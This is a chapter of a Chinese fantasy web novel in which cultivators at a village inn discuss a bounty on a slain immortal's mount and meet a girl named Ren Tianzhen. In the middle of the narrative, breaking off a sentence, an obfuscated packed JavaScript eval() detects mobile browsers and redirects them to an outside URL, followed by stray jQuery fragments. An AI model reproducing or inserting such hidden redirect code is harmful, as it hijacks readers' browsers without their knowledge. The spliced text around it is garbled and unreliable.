31.任天真

作品:《满级大佬废号重练

    万隆客栈是设在驿道旁一处村口的小客栈。


    上下两层的木制楼屋,外表已经破旧不堪。平时生意惨淡,这几天却很是红火。


    不少佩剑的修士一拔接一拔路过这里,顺便进店打个尖歇个脚或是住上一夜再走,把老板两口子忙得不可开交。


    阿难和应长恨“小姑娘”,一起跟着阴有苓走进客栈。


    一楼用来招待客人吃饭的厅堂中,四张桌子已经坐了三桌客人,只剩一张还空着,正好让他们仨落座。


    老板娘过来招呼道:“几位客官如果是要住店的话,小店还有最后一间柴房可以打地铺。如果要吃东西的话,酒肉都卖光了,眼下只剩下半锅稀粥。”


    阿难一点儿也不挑剔地就点了头。


    “行,柴房就柴房,半锅稀粥也端上来吧。阴真人,我们可以就着粥吃肉粽,阿难……妹妹请客。”


    应长恨中午坚持要买的那打肉粽派上用场了。他们一边喝粥吃粽子,一边听着另外三桌客人的谈话。


    这些客人都是收到梦令的修士,赶往浮玉山都是同一个目的,查清黑虎到底是死是活。


    如果黑虎已经死了,寻到尸体者,可以获得提升修为的仙丹一枚;


    查出凶手者,可以传授长生真诀一道;


    手刃凶手者,可以被太玄真君直接度化飞仙。


    度化飞仙,是法力很强、地位很高的大仙官才有的特权。


    如果哪位大仙官觉得人间某位修士是很有潜力的可造之材,可以提前将其度化上天当自己的下属,属于主神之下的辅神。


    给大仙官打杂的小仙官,大都是这样的来历。


    最后一点的吸引力最大,如果能被仙官直接度化飞仙,那可谓是一步登天。所以这一点的难度也最大。


    围坐在三张桌子旁的七八位修士,谈话内容就围绕着这一点展开。


    “能斩下黑虎半截前肢的鬼头刀,只有一柄风雷怒能做到吧?”


    “我也是这么想的,除了厉鬼应长恨,无间鬼域其他使用鬼头刀的鬼,应该都没那个胆子和实力对神仙座骑下毒手。”


    “可是应长恨为什么要砍死黑虎呢?也没听说过他和太玄真君有什么过节啊!”


    “那就不知道了。不过如果真是厉鬼应长恨下的手,那咱们几个加起来恐怕也不是他的对手。”


    “连神仙座骑都敢抡刀砍的主儿,可以说是又横又愣又不要命,如果遇上了最好是躲着走,没必要招惹这种疯批了。”


    “那手刃凶手这一条,我决定放弃了。到了浮玉山主要是寻找黑虎的尸体,这个任务如果能完成的话,好歹也能得到仙丹一枚。”


    “这个任务确实最简单,但竞争的人也最多。我们打算在这个基础上再试一试查出凶手,如果能确认就是厉鬼应长恨杀了黑虎,就能蒙太玄真君传授长生真诀一道。就算修仙不成,能长命百岁地活在人间,也算是半仙了。”


    这番话听得不少人纷纷点头表示认同。


    忽闻吱呀一声响,客栈老旧的木门又被推开了,所有人自然而然地朝着门口望去。


    天色已晚,站在门外的人只能看见身影,看不见长相。


    但是那一道秀骨珊珊的袅娜身影,已经让几位修士都下意识地心想:这一定是位绝色的美人。


    .


    美人风摆杨柳似的进了屋子,走到烛光明亮处时,在座诸人几乎都露出惊艳的神色。


    那是一位穿着芙蓉色罗衣,有着芙蓉花面孔的少女,艳如初日照芙蕖。


    这般艳色无双的女子,独自出现在荒郊野外的小客栈,很不寻常。


    要知道一个天生丽质却无力自保的弱女子独自夜行,就像小儿持金过闹市,是一件很危险的事。


    由此反推的话,这位芙蓉花般艳色夺人目的娇俏少女,必然不是无力自保的弱女子。


    阿难跟应长恨对视了一眼,又和阴有苓交换了一下眼神,三个人都对这一点心照不宣。


    至于那七八位修士,大都还在因艳而惊。


    一位少年子弟不但瞪大了眼睛,连嘴巴都张得老大,惊艳惊得魂都快没了。


    一见又有客人来了,老板娘迎上前招呼道:“这位姑娘,你一个人吗?”


    “是啊,还有空房间吗?我想住店。”


    “房间已经都住满了,不过天色已晚,这附近也没有别的客栈了,姑娘你一个人出去乱跑不安全。要是你不嫌弃的话,今晚就在堂屋里呆着吧?”


    “好啊,多谢老板娘,那有地方让我先坐下来休息吗?”


    “姑娘,你跟我来。”


    厅堂里一共四张桌子,其他三桌都是男客,阿难这桌却坐着阴有苓和应长恨“小姑娘”。


    四方桌可以坐四个人,还空出了一个位置,老板娘很自然地把人往他们这儿带。


    “三位客官,没有空桌子了,这位姑娘跟你们一块坐可以吧?”


    阿难笑容可掬地道:“当然没问题,姑娘请坐。”


    娇俏少女落座后,笑盈盈地注视着阴有苓道:“这位修士姐姐英气十足,好不飒爽,不知师承何门何派?”


    “无极宗,阴有苓。”


    “原来姐姐出身无极宗,难怪这般不同凡响,真不愧是名门子弟。”


    无极宗早就没落了,如今在修真界只能勉强算作三流门派,这还是看在华源真君越君朴的面子上。


    娇俏少女说的这番话,乍一听像是反讽,但是她的语气神色都十分真诚,显然是发自内心地认定无极宗弟子值得被高看一眼。


    阴有苓原本态度淡淡的,听了如此诚挚的话语后,冷淡的眉宇间多了一抹暖意。


    其他桌子的修士听了都只觉好笑,有一人还嘴快地讥讽道:“无极宗算哪门子的名门啊?那都是几百年前的老黄历了。”


    娇俏少女扭过头,娇波流慧地瞪了他一眼,曼声道:


    “谁说无极宗不算名门?哪怕是已经没落了,毕竟也还是华源真君的师门。就凭这一点,它在修真界的地位就不容贬低。”


    这话倒也没错,无极宗没落归没落,可宗门中到底出过两个霞举飞升的弟子。


    一个虽然早就垮台了,另一个却香火日渐鼎盛,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062369|134224||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在云间仙境的地位稳步上升。有着这么一号代表人物,无极宗在修真界也不可能彻底沦为不入流的小宗门。


    娇俏少女的话让人无法反驳,明眸皓齿的一张俏脸,虽怒时而若笑,被她瞪视的那名修士也没法跟她生气。


    “好吧,算我说错了还不行吗?“


    娇俏少女满意地扭回头,又好奇地问起了阿难。


    “这位美髯公哥哥也是无极宗弟子吗?”


    “在下没有那个福分,只是无门无派的散修一个。路上偶遇阴真人,所以结伴同行。不知姑娘怎么称呼?”


    “我叫任天真。”


    “任”作姓氏时发第二声,但是娇俏少女念出自己的名字时,“任”字却是发的第四声。


    阿难又问道:“姑娘不姓任是吧?”


    “对,我没有姓,名字就叫任天真。卷舒开合任天真,这句诗听说过吗?”


    阿难懂了,含笑道:“惟有绿荷红菡萏,卷舒开合任天真——原来这就是姑娘芳名的出处啊!”


    任天真嫣然一笑,“没错,正是。这位哥哥外表粗豪,没想到骨子里还有几分文士气息呢!”


    “哪里哪里,过奖过奖。不过就是闲来无事略读过几本诗书罢了。”


    夸完了阿难后,任天真又掉转视线看着应长恨“小姑娘”笑道:“好一个粉雕玉琢的小妹妹,长得真是可爱极了!”


    “可爱极了”的应长恨一点也不喜欢这个评价,但人设不能崩,还得调动演技冲她乖巧一笑。


    “谢谢姐姐。”


    “笑起来更可爱了!这苹果般的小脸蛋让人真想捏上一把。”


    应长恨立刻往阿难身边一缩,果断与跃跃欲试的任天真拉开距离。


    .


    眼看任天真和阿难这一桌人谈笑风生,邻桌一位年轻修士忍不住也想跟她搭讪。


    “任天真姑娘也是修真人士吧?不知出身哪个宗门?”


    “算是吧。不过我并非宗门子弟,和这位美髯公哥哥一样,也是无门无派的散修。”


    另一位年轻修士,同样情不自禁地开口与之攀谈起来。


    “姑娘只是无门无派的散修吗?如果有意拜入宗门的话,我们万象宗欢迎姑娘加入。”


    时下的修真界中,名气最大的修真门派就是岭南一带的万象宗。


    过去的三百年里,有一位万象宗弟子飞升成仙,让师门跃居为修真界首宗。门下子弟提及师门时,都是满脸的与有荣焉。


    任天真却满不在乎地曼声道:“多谢,我自由自在惯了,不喜拘束管教,还是做散修更合适。”


    门外忽然传来一阵疾驰的马蹄声,又有人来了。


    隔着一扇薄薄的门板,可以清晰听见有人跳下马匆忙奔向客栈的声音。


    很快大门就被推开了,一位年轻男子神色急切地闯进来。


    容貌英俊,穿戴考究,一袭蓝色织锦缎长袍华美非凡,一看就是有钱人家的公子哥。


    他两道目光在屋里扫视一番后,迅速锁定了任天真。


    “真真,你为什么撇下我一个人走了?”